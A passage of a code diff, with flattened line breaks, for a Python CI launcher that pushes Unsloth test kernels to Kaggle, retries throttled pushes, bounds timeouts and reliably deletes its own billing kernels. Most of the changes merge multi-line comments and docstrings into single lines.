it back days later.KIND_CODES = {"notebook": "n", "studio": "s"}CODE_KINDS = {v: k for k, v in KIND_CODES.items()}-# Legacy slugs (`unsloth-t4-ci-<8 hex>`) are still OURS and must still be-# reaped, but carry no commit to report against. The alternation reads 8 to 40-# hex rather than making the collector guess from length.+# Legacy slugs (`unsloth-t4-ci-<8 hex>`) are still OURS and must still be reaped, but carry no commit to report against. The alternation reads 8 to 40 hex rather than making the collector guess from length.SLUG_SHA_LEN = 12-# The `slot` input, when it is not 1, sits between the dash and the uid:-# `-2<uid4>`. Slot 2 is a deliberate SECOND session on the same commit, so the-# duplicate check has to say "this commit, this kind, THIS slot". Absent means-# slot 1, so every slug pushed before the slot existed still reads.+# The `slot` input, when it is not 1, sits between the dash and the uid (`-2<uid4>`). Slot 2 is a deliberate SECOND session on the same commit, so the duplicate check has to say "this commit, this kind, THIS slot"; absent means slot 1, so every slug pushed before the slot existed still reads.CI_SLUG_RE = re.compile(r"^(?:(?P<owner>[^/]+)/)?"+ re.escape(SLUG_PREFIX)@@ -131,12 +66,7 @@ CI_SLUG_RE = re.compile(def parse_slug(slug: str) -> dict | None:- """What a kernel name says about itself, or None if it is not ours.-- None for anything unrecognised is the collector's safety property: it- enumerates a shared ACCOUNT and deletes what it collects, so a collector- that guessed would eventually delete someone's work.- """+ """What a kernel name says about itself, or None if it is not ours. None for anything unrecognised is the collector's safety property: it enumerates a shared ACCOUNT and deletes what it collects, so a collector that guessed would eventually delete someone's work."""match = CI_SLUG_RE.match(slug or "")if match is None:return None@@ -154,11 +84,7 @@ def slug_name(commit_sha: str = "",slot: str = "1",) -> str:- """The name for a kernel about to be pushed.-- Falls back to the legacy random form when no commit is named, as a local- probe or an older workflow does. A dispatched run always names one.- """+ """The name for a kernel about to be pushed. Falls back to the legacy random form when no commit is named, as a local probe or an older workflow does; a dispatched run always names one."""code = KIND_CODES.get(kind, "")sha = (commit_sha or "").strip().lower()[:SLUG_SHA_LEN]slot = str(slot or "1").strip()@@ -171,16 +97,10 @@ def slug_name(PUSH_ATTEMPTS = 4PUSH_BACKOFF_SEC = 45-# Ceiling on one `kaggle kernels push` subprocess. Named because the workflow's-# job timeout derives from it, and because exceeding it is a retryable,-# ambiguous outcome rather than an error -- see push().+# Ceiling on one `kaggle kernels push` subprocess. Named because the workflow's job timeout derives from it, and because exceeding it is a retryable, ambiguous outcome rather than an error (see push()).PUSH_SUBPROCESS_TIMEOUT_SEC = 600-# What a throttled or briefly unavailable push looks like coming back. The-# JSON-decode message is the common face: Kaggle answers 429 and 503 with an-# HTML error page, the client decodes it as JSON anyway, and the throttling is-# never named. Everything else (a bad slug, a rejected accelerator, missing-# credentials) is deterministic and must not be retried.+# What a throttled or briefly unavailable push looks like coming back. The JSON-decode message is the common face: Kaggle answers 429 and 503 with an HTML error page, the client decodes it as JSON anyway, and the throttling is never named. Everything else (a bad slug, a rejected accelerator, missing credentials) is deterministic and must not be retried.THROTTLED_PUSH = ("expecting value: line 1 column 1","429",@@ -205,61 +125,21 @@ CAPACITY_MARKERS = ("no quota for",)-# Ceiling on any single network call. urllib takes an explicit timeout and the-# Kaggle client does not, so this is the only bound on its status and quota-# calls. Without it, one call that never returns outlasts every deadline in this-# file while the kernel it was watching keeps billing.+# Ceiling on any single network call. urllib takes an explicit timeout and the Kaggle client does not, so this is the only bound on its status and quota calls; without it, one call that never returns outlasts every deadline in this file while the kernel it was watching keeps billing.SOCKET_TIMEOUT_SEC = 120-# Consecutive unreadable statuses before we stop waiting. One is not enough: the-# API returns transient 5xx that the client prints exactly like a permanent-# refusal, and giving up on a blip abandons a kernel still doing the work.+# Consecutive unreadable statuses before we stop waiting. One is not enough: the API returns transient 5xx that the client prints exactly like a permanent refusal, and giving up on a blip abandons a kernel still doing the work.MAX_CONSECUTIVE_UNKNOWN = 10-# Attempts at deleting ONE kernel, and the first gap between them. Deleting is-# the budget control, so a refused delete is retried rather than written off,-# against the same transient 5xx and reset connections push() retries.-#-# Named, like the push ceiling, because the job timeout is derived from them:-# ONE delete costs DELETE_ATTEMPTS x DELETE_SUBPROCESS_TIMEOUT_SEC plus its-# backoffs, and both push() (which discards the previous attempt's slug before-# each retry) and release() (which reconciles every slug filed) pay it. The-# harness suite recomputes the total from these three and asserts the workflow's-# deadline sits above it.+# Attempts at deleting ONE kernel, and the first gap between them. Deleting is the budget control, so a refused delete is retried rather than written off. Named, like the push ceiling, because the job timeout is derived from them: ONE delete costs DELETE_ATTEMPTS x DELETE_SUBPROCESS_TIMEOUT_SEC plus its backoffs, and both push() and release() pay it. The harness suite recomputes the total from these three and asserts the workflow's deadline sits above it.DELETE_ATTEMPTS = 3DELETE_BACKOFF_SEC = 5DELETE_SUBPROCESS_TIMEOUT_SEC = 180-# Pages of `kernels/output` one listing walks before it stops asking, and the-# ceiling on the WHOLE evidence phase: every kernel's listing pages and every-# notebook download, together.-#-# ONE budget for all of it, started before the first collection, because that-# is the only shape the job deadline can be derived from. Per call, the bound-# was the product of things nobody multiplied out: OUTPUT_PAGE_LIMIT pages at-# the 120s socket ceiling is 2400s for ONE kernel's listing alone, and each-# executed notebook is another 300s with no cap on how many Kaggle lists. The-# workflow header budgeted 600s for two kernels and the harness suite asserted-# the same 600s as a literal, so the term in the job deadline restated the-# intention rather than measuring the code: a paginating or slow endpoint spent-# the job's remaining wall clock HERE, and the runner was then killed before-# finish() -> release() ran, leaving billable kernels up. That is the exact-# outcome the deadline exists to prevent.-#-# Enforcement is "start no new work past the deadline", each call's own timeout-# is clamped to what remains, AND the body is read in chunks against the same-# absolute deadline. The last part is not redundant: the timeout urllib takes is-# a per-socket-operation timeout ("a timeout in seconds for blocking operations-# like the connection attempt" -- docs.python.org/3/library/urllib.request.html),-# not a ceiling on the transfer, so an endpoint that keeps returning bytes-# resets it forever and a single `resp.read()` outlasts the whole budget while-# every deadline check sits before the call. Evidence is best effort by design-# -- whatever arrived is reported and the collection is marked truncated ---# because the alternative is spending the deletion window on it.+# Pages of `kernels/output` one listing walks before it stops asking, and the ceiling on the WHOLE evidence phase: every kernel's listing pages and every notebook download together. ONE budget for all of it, started before the first collection, because that is the only shape the job deadline can be derived from: per call the bound was OUTPUT_PAGE_LIMIT pages at the 120s socket ceiling, 2400s for one kernel's listing alone, plus 300s per executed notebook with no cap on how many Kaggle lists, so a slow endpoint spent the job's remaining wall clock here and the runner was killed before finish() -> release() ran, leaving billable kernels up. Enforcement is "start no new work past the deadline", each call's own timeout clamped to what remains, AND the body read in chunks against the same absolute deadline. The last part is not redundant: urllib's timeout is per socket operation, not a ceiling on the transfer, so an endpoint that keeps returning bytes resets it forever and a single `resp.read()` outlasts the whole budget. Evidence is best effort by design, because the alternative is spending the deletion window on it.EVIDENCE_BUDGET_SEC = 600OUTPUT_PAGE_LIMIT = 20-# Per read. Small enough that the deadline is re-checked often against a slow-# stream, large enough not to syscall per kilobyte on a fast one.+# Per read. Small enough that the deadline is re-checked often against a slow stream, large enough not to syscall per kilobyte on a fast one.READ_CHUNK_BYTES = 1 << 16@@ -270,22 +150,9 @@ def worst_case_seconds() -> int:"""Wall clock ONE invocation of this launcher can take, from its constants.- Every phase that can keep a pushed kernel UP is in it, because a kernel- bills from the moment Kaggle accepts it until a delete is confirmed:-- * ``push()``, per notebook: PUSH_ATTEMPTS attempts at the subprocess- ceiling, the backoffs between them, and the ``_discard()`` of the previous- attempt's slug that rides along with every retry.- * the polling, which shares ONE deadline started before the first push, so- it does not stack on top of the pushes; the longer of the two is spent.- * the evidence phase, ONE budget for every kernel together.- * ``release()``, which deletes every slug every push FILED, not just the- accepted one.-- Computed here rather than restated by each consumer: the workflow's job- deadline, the quota the gate reserves, and the pre-push guard in main() are- all wrong by the same amount if a phase is left out, and lowering- PUSH_ATTEMPTS or a delete ceiling has to move all three at once.+ Every phase that can keep a pushed kernel UP is in it, because a kernel bills from the moment Kaggle accepts it until a delete is confirmed: ``push()`` per notebook (PUSH_ATTEMPTS attempts at the subprocess ceiling, the backoffs, and the ``_discard()`` of the previous attempt's slug); the polling, which shares ONE deadline started before the first push so it does not stack on top of the pushes; the evidence phase, one budget for every kernel together; and ``release()``, which deletes every slug every push FILED.++ Computed here rather than restated by each consumer: the workflow's job deadline, the quota the gate reserves and the pre-push guard in main() are all wrong by the same amount if a phase is left out."""one_delete = DELETE_ATTEMPTS * DELETE_SUBPROCESS_TIMEOUT_SEC + sum(DELETE_BACKOFF_SEC * 2**i for i in range(DELETE_ATTEMPTS - 1)@@ -296,9 +163,7 @@ def worst_case_seconds(+ (PUSH_ATTEMPTS - 1) * one_delete)if dispatch:- # Dispatch stops after the pushes, so the phases below are unreachable- # and counting them would make the pre-push guard demand ~2h for a job- # that exits in five. The retry _discard()s stay in: those run in push().+ # Dispatch stops after the pushes, so the phases below are unreachable and counting them would make the pre-push guard demand ~2h for a job that exits in five. The retry _discard()s stay in: those run in push().return kernels * per_pushreturn (max(kernels * per_push, max_wait)@@ -309,23 +174,12 @@ def worst_case_seconds(_STDOUT_FD = 1-# Set once, on entry to the signal handler, and never cleared: the process is dying.-# Below it, NO line written to stdout may either block or raise, and both have to be-# handled here rather than at the handler's own call sites. release() reports a refused-# delete and warns about a kernel it could not delete through the ordinary path, so those-# lines are reached transitively, and either failure strands the cleanup: a block never-# reaches the retry or the `finally`, and a raise propagates out of delete_kernel() and-# abandons the remaining delete attempts for a kernel that is still billing.+# Set once, on entry to the signal handler, and never cleared: the process is dying. Below it, NO line written to stdout may either block or raise, and both have to be handled here rather than at the handler's own call sites: release() reports a refused delete through the ordinary path, and either failure strands the cleanup, since a block never reaches the retry or the `finally` and a raise abandons the remaining delete attempts for a kernel that is still billing._IN_SIGNAL_HANDLER = Falsedef _writable(fd: int) -> bool:- """Whether a write to ``fd`` can proceed without blocking, asked without writing.-- A regular file or a terminal always answers yes; a pipe answers no exactly when it- has backed up, which is the case worth avoiding. Any error answers no: a closed or- unselectable descriptor is not somewhere to risk a stall from a signal handler.- """+ """Whether a write to ``fd`` can proceed without blocking, asked without writing. A regular file or a terminal always answers yes; a pipe answers no exactly when it has backed up. Any error answers no: a closed or unselectable descriptor is not somewhere to risk a stall from a signal handler."""try:return bool(select.select([], [fd], [], 0)[1])except BaseException: # noqa: BLE001@@ -335,20 +189,9 @@ def _writable(fd: int) -> bool:def _line_from_signal(line: str) -> None:"""One line out, from a context where the ordinary path can raise OR block.- It can RAISE: a handler runs on the main thread wherever that thread happened to be,- and if it was inside a write to stdout the interpreter refuses the second one- outright, ``RuntimeError: reentrant call inside <_io.BufferedWriter name='<stdout>'>``.- That is not hypothetical; it was captured on a loaded CI runner, where it escaped the- handler and left a cancelled launcher exiting 1 instead of dying of its signal.- ``os.write`` goes straight to the descriptor and takes no lock the interrupted frame- could already hold, which is what makes it usable as the fallback.-- It can also BLOCK, which raising does not cover and no ``except`` or ``finally``- catches. stdout in CI is a pipe, and if the collector stops draining it both the- buffered flush and the raw write sleep in the kernel. That backpressure is also what- leaves the main thread parked mid-write, so the two arrive together. Asking first- turns the stall into a dropped line: POSIX reports a pipe writable only when at least- PIPE_BUF bytes fit, and these lines are far shorter than that.+ It can RAISE: a handler runs on the main thread wherever that thread happened to be, and if it was inside a write to stdout the interpreter refuses the second one outright (``RuntimeError: reentrant call inside <_io.BufferedWriter name='<stdout>'>``), which was captured on a loaded CI runner and left a cancelled launcher exiting 1 instead of dying of its signal. ``os.write`` goes straight to the descriptor and takes no lock the interrupted frame could hold.++ It can also BLOCK, which no ``except`` or ``finally`` catches: stdout in CI is a pipe, and if the collector stops draining it both the buffered flush and the raw write sleep in the kernel. Asking first turns the stall into a dropped line, since POSIX reports a pipe writable only when at least PIPE_BUF bytes fit and these lines are far shorter."""if not _writable(_STDOUT_FD):return@@ -366,11 +209,7 @@ def _emit(line: str) -> None:def _write_line(line: str) -> None:- """Every line this script puts on stdout goes through here.-- Unconditional on the ordinary path, which is everything before something kills us:- nothing dropped, nothing swallowed, no syscall added.- """+ """Every line this script puts on stdout goes through here, unconditionally on the ordinary path: nothing dropped, nothing swallowed, no syscall added."""if not _IN_SIGNAL_HANDLER:_emit(line)return@@ -382,8 +221,7 @@ def _log(msg: str) -> None:def _log_from_signal(msg: str) -> None:- """``_log`` for the handler's own lines. Kept as its own name because the handler- runs before the flag it sets can matter to anything else reading this."""+ """``_log`` for the handler's own lines. Kept as its own name because the handler runs before the flag it sets can matter to anything else reading this."""_line_from_signal(f"[launch] {msg}")@@ -412,32 +250,14 @@ def _api():def username_of(api) -> str | None:- """The account this client authenticated as, as Kaggle itself reports it.-- `_authenticate_with_access_token` introspects the token and records the name- that comes back, so this is not a guess. It matters because a kernel id is- `<owner>/<slug>`: pushing under a name the token does not own fails, and- DELETING under the wrong name silently reaps nothing while the real kernel- keeps billing. With more than one account in play the owner cannot be a- constant, so it is read from whichever token this process was handed.-- Takes the client the caller already authenticated rather than building one:- a second `authenticate()` is a second network round trip on a path that is- already bounded, and it could answer for a different token than the one the- rest of the run uses.- """+ """The account this client authenticated as, as Kaggle itself reports it. `_authenticate_with_access_token` introspects the token and records the name that comes back, so this is not a guess. It matters because a kernel id is `<owner>/<slug>`: pushing under a name the token does not own fails, and DELETING under the wrong name silently reaps nothing while the real kernel keeps billing. Takes the client the caller already authenticated rather than building one, since a second `authenticate()` is another network round trip and could answer for a different token."""try:return api.config_values.get(api.CONFIG_NAME_USER) or Noneexcept Exception: # noqa: BLE001return None-# A kernel this process pushed but has not yet deleted is recorded here, so a-# LATER launch can reclaim it. This is the only cover for `kill -9`, where no-# handler of ours ever runs. Deliberately keyed on pid: an entry whose owner-# is still alive belongs to a run in progress and must not be touched, or one-# launcher would delete a concurrent launcher's kernel and report its absence-# as a failure of the code under test.+# A kernel this process pushed but has not yet deleted is recorded here, so a LATER launch can reclaim it. This is the only cover for `kill -9`. Deliberately keyed on pid: an entry whose owner is still alive belongs to a run in progress, or one launcher would delete a concurrent launcher's kernel and report its absence as a failure of the code under test.INFLIGHT = (Path(os.environ.get("UNSLOTH_WORKSPACE") or Path(__file__).resolve().parents[3])/ "logs"@@ -462,15 +282,7 @@ def _inflight_write(entries: list[dict]) -> None:def _inflight_add(slug: str, owner: str | None = None) -> None:- """File a slug, WITH the account that owns it.-- The owner is recorded because the sweep below runs with whatever token the- NEXT job was handed, and CI now hands out more than one. A slug is- `<owner>/<name>`, so an entry filed by one account cannot be deleted by the- other; without the owner on the record the sweep cannot tell that it is- about to try, and a failed delete reads exactly like a kernel that was- already gone.- """+ """File a slug, WITH the account that owns it. The owner is recorded because the sweep below runs with whatever token the NEXT job was handed, and CI now hands out more than one: a slug is `<owner>/<name>`, so an entry filed by one account cannot be deleted by the other, and without the owner on the record a failed delete reads exactly like a kernel that was already gone."""entries = [e for e in _inflight_read() if e.get("slug") != slug]entry = {"slug": slug, "pid": os.getpid(), "at": time.time()}owner = owner or (slug.split("/", 1)[0] if "/" in slug else None)@@ -485,13 +297,7 @@ def _inflight_drop(slug: str) -> None:def _inflight_mark_kept(slug: str) -> None:- """Flag a kernel as deliberately retained, so no later sweep reclaims it.-- ``--keep-kernel`` leaves the kernel up on purpose. Its registry entry- still names this process, and this process is about to exit, so the next- launcher would see a dead owner, call it an orphan and delete the very- thing the flag asked to keep.- """+ """Flag a kernel as deliberately retained, so no later sweep reclaims it. ``--keep-kernel`` leaves the kernel up on purpose, but its registry entry still names this process, which is about to exit, so the next launcher would see a dead owner and delete the very thing the flag asked to keep."""entries = _inflight_read()for entry in entries:if entry.get("slug") == slug:@@ -512,18 +318,7 @@ def _pid_alive(pid: int) -> bool:def sweep_orphans(owner: str | None = None) -> list[str]:- """Delete kernels left behind by a launcher that was killed outright.-- Only entries whose owning process is gone are eligible, so a concurrent- run is never disturbed. Returns the slugs reclaimed.-- ``owner``, when given, is the account this process authenticated as, and an- entry belonging to a DIFFERENT account is left alone rather than attempted.- This token cannot delete that kernel, so trying would turn a real leak into- a log line indistinguishable from a kernel that was already gone -- and- would drop the record, which is the only thing that still knows the kernel- exists. Left filed, it is reclaimed by the next run that holds its account.- """+ """Delete kernels left behind by a launcher that was killed outright, returning the slugs reclaimed. Only entries whose owning process is gone are eligible, so a concurrent run is never disturbed. ``owner``, when given, is the account this process authenticated as, and an entry belonging to a DIFFERENT account is left alone rather than attempted: this token cannot delete that kernel, so trying would turn a real leak into a log line indistinguishable from an already-absent kernel and would drop the only record that still knows the kernel exists."""entries = _inflight_read()if not entries:return []@@ -534,7 +329,6 @@ def sweep_orphans(owner: str | None = None) -> list[str]:if not slug:continueif entry.get("keep"):- # --keep-kernel asked for this one to stay up.keep.append(entry)continueentry_owner = entry.get("owner") or (slug.split("/", 1)[0] if "/" in slug else None)@@ -561,10 +355,7 @@ def sweep_orphans(owner: str | None = None) -> list[str]:except Exception: # noqa: BLE001keep.append(entry) # try again next time rather than forget itcontinue- # A nonzero exit does NOT raise, so the return code is the only thing- # that separates "reclaimed" from "Kaggle refused and the kernel is- # still running and still billing". Forgetting the entry there is how- # one bills to its ceiling unnoticed.+ # A nonzero exit does NOT raise, so the return code is the only thing that separates "reclaimed" from "Kaggle refused and the kernel is still running and still billing". Forgetting the entry there is how one bills to its ceiling unnoticed.if proc.returncode == 0:reclaimed.append(slug)else:@@ -575,12 +366,7 @@ def sweep_orphans(owner: str | None = None) -> list[str]:def _pushed(ok: bool, reason: str, out: str, attempted: list[str]) -> dict:- """A push outcome, always carrying the slugs the call filed.-- A failed attempt may still have landed, Kaggle answering a committed push- with a 5xx often enough to be a known issue, so the slug is reported rather- than forgotten and the caller can reconcile it.- """+ """A push outcome, always carrying the slugs the call filed. A failed attempt may still have landed, Kaggle answering a committed push with a 5xx often enough to be a known issue, so the slug is reported rather than forgotten and the caller can reconcile it."""return {"ok": ok, "reason": reason, "detail": out.strip()[:400], "attempts": attempted}@@ -596,39 +382,16 @@ def push() -> dict:"""Push as a fresh private kernel. Every attempt gets its own slug.- A fresh slug per attempt is not cosmetic: pushing to an id that ALREADY- exists does not replace what is there, it files a new version and starts a- SECOND batch session while the running one keeps running. ``kernels status``- and ``kernels/output`` send no version label, so they answer for the newest- session only, and a reused slug means the evidence belongs to whichever- execution was latest while the other burns a slot and its quota unseen.-- The retried failures are exactly the ambiguous ones (a reset connection, an- aborted transfer, a 5xx) where Kaggle may have accepted the push whose- response never arrived. So each attempt also DELETES the previous attempt's- slug first: deletion is kernel-level, costs one call, and frees the session- slot the retry is probably waiting on.-- Returns the accepted attempt's slug, plus ``attempts``: every slug this call- filed, newest last.-- ``attempted`` is that list, and the caller may OWN it: pass a list and every- slug appears in it the moment it is filed, rather than on return. Only a- return can be lost, and this function reaches the network, so anything it- raises other than the timeout it handles (``subprocess.run(text=True)``- decodes with strict error handling and raises ``UnicodeDecodeError`` on a- malformed response; the runner can also answer with ``OSError`` or- ``MemoryError``) would otherwise take the slug of a push Kaggle may have- ACCEPTED with it, leaving a kernel nothing will delete. See main().+ A fresh slug per attempt is not cosmetic: pushing to an id that ALREADY exists does not replace what is there, it files a new version and starts a SECOND batch session while the running one keeps running, and since ``kernels status`` and ``kernels/output`` send no version label they answer for the newest session only, so the other burns a slot and its quota unseen.++ The retried failures are exactly the ambiguous ones (a reset connection, an aborted transfer, a 5xx) where Kaggle may have accepted the push whose response never arrived, so each attempt also DELETES the previous attempt's slug first: deletion is kernel-level, costs one call, and frees the session slot the retry is probably waiting on.++ Returns the accepted attempt's slug, plus ``attempts``: every slug this call filed, newest last. ``attempted`` is that list, and the caller may OWN it, so every slug appears in it the moment it is filed rather than on return. Only a return can be lost, and anything this raises other than the timeout it handles (a ``UnicodeDecodeError`` on a malformed response, an ``OSError`` or ``MemoryError`` from the runner) would otherwise take the slug of a push Kaggle may have ACCEPTED with it, leaving a kernel nothing will delete. See main()."""attempted = [] if attempted is None else attempteddef _discard(slug: str) -> None:- """Best effort; the attempt usually created nothing at all.-- release() reconciles whatever this leaves, so the outcome is only logged- here, but it IS read rather than assumed.- """+ """Best effort; the attempt usually created nothing at all. release() reconciles whatever this leaves, so the outcome is only logged here, but it IS read rather than assumed."""if not delete_kernel(slug):_log(f"could not discard the previous push attempt {slug}")@@ -639,10 +402,7 @@ def push(if attempted:_discard(attempted[-1])name = slug_name(kind, commit_sha, slot)- # The slug derives from the TITLE, not the metadata id: a mismatch- # files the kernel at an unexpected address, every later- # status/output call 403s and no collector can attribute it. So- # assert the round trip.+ # The slug derives from the TITLE, not the metadata id: a mismatch files the kernel at an unexpected address, every later status/output call 403s and no collector can attribute it. So assert the round trip.title = name.replace("-", " ")assert _slugify(title) == name, f"title {title!r} slugifies to {_slugify(title)!r}"attempted.append(f"{user}/{name}")@@ -692,30 +452,16 @@ def push()out = proc.stdout + proc.stderrexcept subprocess.TimeoutExpired:- # A push that ran out of wall clock is the MOST ambiguous- # outcome, not the least: the client was killed mid-call, so- # whether Kaggle accepted the kernel is unknowable from here,- # and letting the exception out loses the slug and with it every- # chance of deleting the session it may have started.- #- # So it is recorded as a failed attempt like any other: the slug- # stays in `attempted`, the retry _discard()s it, and release()- # reconciles the rest. "timed out" is in THROTTLED_PUSH because- # that is what it is, Kaggle under load, so the retry applies.+ # A push that ran out of wall clock is the MOST ambiguous outcome, not the least: the client was killed mid-call, so whether Kaggle accepted the kernel is unknowable from here, and letting the exception out loses the slug and with it every chance of deleting the session it may have started. So it is recorded as a failed attempt like any other, and "timed out" is in THROTTLED_PUSH because that is what it is, Kaggle under load.out = f"push subprocess exceeded {PUSH_SUBPROCESS_TIMEOUT_SEC}s and was killed; timed out"_log(f"push timed out after {PUSH_SUBPROCESS_TIMEOUT_SEC}s ({attempted[-1]})")- # Also recorded on disk. release() covers the paths this process- # gets to run; the registry covers the one it does not, a kill- # between here and cleanup, by leaving the slug for the next- # launcher's sweep.+ # Also recorded on disk. release() covers the paths this process gets to run; the registry covers the one it does not, a kill between here and cleanup, by leaving the slug for the next launcher's sweep._inflight_add(attempted[-1])lowered = out.lower()if "successfully pushed" in lowered:if "does not resolve to the specified id" in lowered:return _pushed(False, "slug_mismatch", out, attempted)- # Recorded the instant it exists, before anything can go- # wrong downstream: a kernel that is billing but unknown to- # the registry is exactly the case the registry is for.+ # Recorded the instant it exists, before anything can go wrong downstream: a kernel that is billing but unknown to the registry is exactly the case the registry is for._inflight_add(attempted[-1])return {"ok": True, "slug": attempted[-1], "attempts": attempted}if any(m in lowered for m in CAPACITY_MARKERS):@@ -734,54 +480,20 @@ def push(def _already_gone(text: str) -> bool:- """Is this failed delete Kaggle saying the kernel is not there?-- The gate's vocabulary, imported rather than copied: the two files ask the- same question of the same account through the same client, and a second- list would drift out of agreement with the first without either being wrong- on its own.- """+ """Is this failed delete Kaggle saying the kernel is not there? The gate's vocabulary, imported rather than copied: the two files ask the same question of the same account through the same client, and a second list would drift out of agreement with the first without either being wrong on its own."""return any(marker in text.lower() for marker in GONE_MARKERS)def delete_kernel(slug: str, deadline: float | None = None) -> bool:"""Delete one kernel, and answer whether Kaggle actually deleted it.- ``deadline`` (absolute ``time.time()``) bounds the whole call: attempts are- clamped to what is left and none starts past it, so a release phase sharing- one deadline ends when it says it will rather than three attempts after.-- ``subprocess.run`` does not raise on a nonzero exit, so the caller used to- record every slug as released whatever came back: a refused delete, an- expired token, or the case that made this visible, where the pinned client- had no ``kernels delete`` subcommand at all and argparse exited 2 before any- request was sent while the run still reported the kernel released. Cleanup- is this workflow's budget control, so an unestablished delete has to read as- STILL BILLING.-- The exit code is the signal Kaggle's client offers, and it means what it- says: kaggle/cli.py exits 1 on a failed call, commented "This is so that- scripts that pick up on error codes can tell when there was a failure", and- 0 once the kernel is gone.-- NOT FOUND IS THE OTHER CONFIRMED ANSWER, and it is a common one here rather- than an edge case: most of the slugs release() reconciles are earlier push- attempts, which usually created nothing at all, and one that a retry's- _discard() did delete is asked about a second time. Kaggle answering "this- kernel is not there" settles the only question cleanup asks -- is the slot- still billing -- so retrying it three times and then naming it in a- "may still be running, delete them by hand" warning spends the deletion- window on absent kernels, ahead of the live one, and points a human at a- slug that does not exist. The gate reads a 404 the same way and for the- same reason, so it reads it through the same GONE_MARKERS; the client- surfaces one as `404 Client Error: Not Found for url: ...` on stderr with- exit 1 (requests' raise_for_status, via kagglesdk's response handler).-- Every OTHER nonzero exit keeps its retries: a 5xx, a reset connection or an- argparse refusal says nothing about the kernel.-- Returns True only on a confirmed deletion or a confirmed absence. A slug- this refuses needs a human, which is what the caller's warning is for.+ ``deadline`` (absolute ``time.time()``) bounds the whole call: attempts are clamped to what is left and none starts past it, so a release phase sharing one deadline ends when it says it will.++ ``subprocess.run`` does not raise on a nonzero exit, so the caller used to record every slug as released whatever came back: a refused delete, an expired token, or the case that made this visible, where the pinned client had no ``kernels delete`` subcommand at all and argparse exited 2 before any request was sent while the run still reported the kernel released. Cleanup is this workflow's budget control, so an unestablished delete has to read as STILL BILLING. The exit code is the signal Kaggle's client offers and means what it says: kaggle/cli.py exits 1 on a failed call and 0 once the kernel is gone.++ NOT FOUND IS THE OTHER CONFIRMED ANSWER, and a common one: most of the slugs release() reconciles are earlier push attempts, which usually created nothing. Kaggle answering "this kernel is not there" settles the only question cleanup asks, so retrying it three times and then naming it in a "may still be running" warning spends the deletion window on absent kernels ahead of the live one. The gate reads a 404 the same way, through the same GONE_MARKERS; the client surfaces one as `404 Client Error: Not Found for url: ...` on stderr with exit 1.++ Every OTHER nonzero exit keeps its retries: a 5xx, a reset connection or an argparse refusal says nothing about the kernel. Returns True only on a confirmed deletion or a confirmed absence."""for attempt in range(DELETE_ATTEMPTS):timeout = DELETE_SUBPROCESS_TIMEOUT_SEC@@ -818,19 +530,7 @@ def delete_kernel(slug: str, deadline: float | None = None) -> bool:def _slugs_filed(entry: dict) -> list[str]:"""Every slug one kernel entry's push filed, in the order it filed them.- Cleanup reconciles ALL of them, not only the accepted one, and both routes- to a leaked slug are ambiguous by construction:-- * The last attempt of a FAILED push. ``push()`` keeps the slug precisely- because Kaggle answers an accepted push with a 5xx or a reset connection- often enough to be a known issue, and that entry carries no ``slug``.- * An EARLIER attempt of a push that later succeeded. ``_discard()`` runs- before each retry but is best effort, so a delete Kaggle refuses even- after ``delete_kernel``'s retries leaves the previous attempt up.-- Either keeps a session slot and bills GPU quota with nobody reading the- result. A delete for a slug Kaggle never created is refused and costs one- call.+ Cleanup reconciles ALL of them, not only the accepted one, and both routes to a leaked slug are ambiguous by construction: the last attempt of a FAILED push (``push()`` keeps the slug precisely because Kaggle answers an accepted push with a 5xx or a reset connection often enough to be a known issue), and an EARLIER attempt of a push that later succeeded (``_discard()`` runs before each retry but is best effort). Either keeps a session slot and bills GPU quota with nobody reading the result. A delete for a slug Kaggle never created is refused and costs one call."""filed = [*(entry.get("attempted") or []), entry.get("slug")]return list(dict.fromkeys(s for s in filed if s))@@ -847,14 +547,7 @@ def poll(api, slug: str) -> str:def wait(api, slug: str, poll_every: int, max_wait: int) -> str:- """Poll to a terminal state.-- An unreadable status must NOT count as "still running" forever: with no- status to match, sitting here for the full ceiling on a kernel that long- since finished is an hour of wall clock spent learning nothing. So bound the- consecutive failures and hand back UNREADABLE, never COMPLETE, since how it- ended is genuinely unknown.- """+ """Poll to a terminal state. An unreadable status must NOT count as "still running" forever: with no status to match, sitting here for the full ceiling on a kernel that long since finished is an hour of wall clock spent learning nothing. So bound the consecutive failures and hand back UNREADABLE, never COMPLETE, since how it ended is genuinely unknown."""deadline = time.time() + max_waitunknowns = 0last = "UNKNOWN"@@ -883,22 +576,12 @@ def _bearer() -> str:def _evidence_deadline(deadline: float | None) -> float:- """The shared budget if the caller has one, otherwise a fresh one.-- Never unbounded. ``deadline=None`` used to mean "no ceiling", which is the- state this constant exists to end, so the default is a budget of its own:- a caller can only make the bound TIGHTER by sharing one, never absent.- """+ """The shared budget if the caller has one, otherwise a fresh one. Never unbounded: ``deadline=None`` used to mean "no ceiling", which is the state this constant exists to end, so a caller can only make the bound TIGHTER by sharing one."""return time.time() + EVIDENCE_BUDGET_SEC if deadline is None else deadlinedef _time_left(deadline: float, timeout: int) -> int | None:- """Seconds this call may take, or None when the deadline has passed.-- The single place the evidence budget is applied, so no caller can start a- request the phase has no time for and none can outlast it: the timeout- handed to urllib is the SMALLER of the call's own ceiling and what is left.- """+ """Seconds this call may take, or None when the deadline has passed. The single place the evidence budget is applied, so no caller can start a request the phase has no time for: the timeout handed to urllib is the SMALLER of the call's own ceiling and what is left."""remaining = int(deadline - time.time())if remaining <= 0:return None@@ -906,14 +589,7 @@ def _time_left(deadline: float, timeout: int) -> int | None:def _clamp_socket(resp, seconds: float) -> None:- """Tighten the live socket's timeout to what is left of the budget.-- The timeout handed to ``urlopen`` is fixed when the response opens, so a- read that starts just inside the deadline may still block for all of it.- Re-clamping per chunk bounds the overshoot by one chunk rather than by one- socket timeout. Best effort: the loop below stops at the deadline whether or- not the socket can be reached.- """+ """Tighten the live socket's timeout to what is left of the budget. The timeout handed to ``urlopen`` is fixed when the response opens, so a read that starts just inside the deadline may still block for all of it; re-clamping per chunk bounds the overshoot by one chunk rather than by one socket timeout. Best effort: the loop below stops at the deadline whether or not the socket can be reached."""sock = getattr(getattr(getattr(resp, "fp", None), "raw", None), "_sock", None)setter = getattr(sock, "settimeout", None)if setter is None:@@ -929,19 +605,7 @@ def _read_within(deadline: float,sink = None,) -> bytes:- """Read a response body under the ABSOLUTE deadline, not a socket timeout.-- ``urlopen(timeout=...)`` bounds each blocking socket operation, so a server- that keeps trickling bytes renews it indefinitely and ``resp.read()`` runs- as long as it likes -- past the evidence budget, into the wall clock- ``release()`` needs, with billable kernels still up. Checking the deadline- only before opening the response therefore bounds nothing about the read.-- So: one chunk at a time, deadline re-checked before each, and ``read1`` so a- chunk is at most ONE underlying socket read (``read(n)`` 